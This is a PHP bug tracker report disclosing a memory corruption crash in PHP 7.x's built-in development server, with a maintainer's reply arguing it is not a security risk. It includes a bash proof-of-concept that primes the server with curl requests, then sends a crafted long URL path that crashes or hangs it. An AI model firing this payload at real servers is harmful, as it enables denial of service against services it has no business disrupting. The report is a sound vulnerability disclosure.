Bug #77735 [Opn]: Any user can cause segmentation fault or memory corruption.

Edit report at https://bugs.php.net/bug.php?id=77735&edit=1 ID: 77735 Updated by: requinix@php.net Reported by: sombrasec at wearehackerone dot com Summary: Any user can cause segmentation fault or memory corruption. Status: Open Type: Bug Package: Built-in web server Operating System: Linux and Windows PHP Version: 7.2.16 Block user comment: N Private report: N New Comment: It's a bug on the built-in *development* server. The only way this could be a security risk is if you run something critical on the server, running on an external interface, on a port that's open to the internet through your firewalls/NAT. That's three mistakes too many. Previous Comments: ------------------------------------------------------------------------ [2019-03-14 03:04:48] sombrasec at wearehackerone dot com Why is this marked as a "bug"? if it was self DoS i would understand but anyone over the internet could crash/DoS any running php7.x.x builtin-server. Don't you think this qualifies for it to be a security issue? ------------------------------------------------------------------------ [2019-03-13 15:10:09] sombrasec at wearehackerone dot com Description: ------------ Affects: 7.2.16 and 7.3.3 (probably affects all 7.x.x, but I only tested those) 5.6 isn't affected. I'm still trying to understand this but I figured it would be better to report what I know even if it's not much. https://github.com/php/php-src/blob/852485d8ecd784153e41e565a0a87abf99cf4e0d/ext/date/php_date.c#L944 if(!DATEG(tzcache)) -> if(true) This prevents the memory corruption and the crashes. Might be helpful in locating the bug. Sorry for the bad PoC as I haven't understood the bug yet. I will try to update this report if I find anything new. Test script: --------------- #!/bin/bash #Tested on: PHP7.2.16/7.3.3. PHP5.6 is unaffected. # php -S 127.0.0.1:1337 [-t your_work_dir] # your_work_dir content: # 200.php - can be empty, doesn't matter. # the size is arbitrary. you can send 1k, it just needs to be large. payload=$(python -c "print 'a'*7")$(python -c "print 'b'*39")$(python -c "print 'c'*200"); endpoint="127.0.0.1:1337" preparationCount=10 echo "preparing the server..." for i in $(seq 1 $preparationCount) do echo -ne "${i}/${preparationCount}\r" curl "http://${endpoint}/404.asdasd" -s > /dev/null curl "http://${endpoint}/200.php" -s > /dev/null done echo 'sending the payload... goodluck.' curl "http://${endpoint}/${payload}" -s > /dev/null Actual result: -------------- The server either crashing (access violation) or hang with high cpu load (~30% for me). Memory corruption. segmentation fault from different places depending on the payload. 80% sure it's "tzcache" corruption from "ext/date/php_date.c" The PoC with its current payload crashes here: https://github.com/php/php-src/blob/e7e8112fcde30f51ac725e7b32d51bf7f832c030/ext/date/lib/parse_tz.c#L680 with our payload being in "timelib_tzinfo *tz". ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=77735&edit=1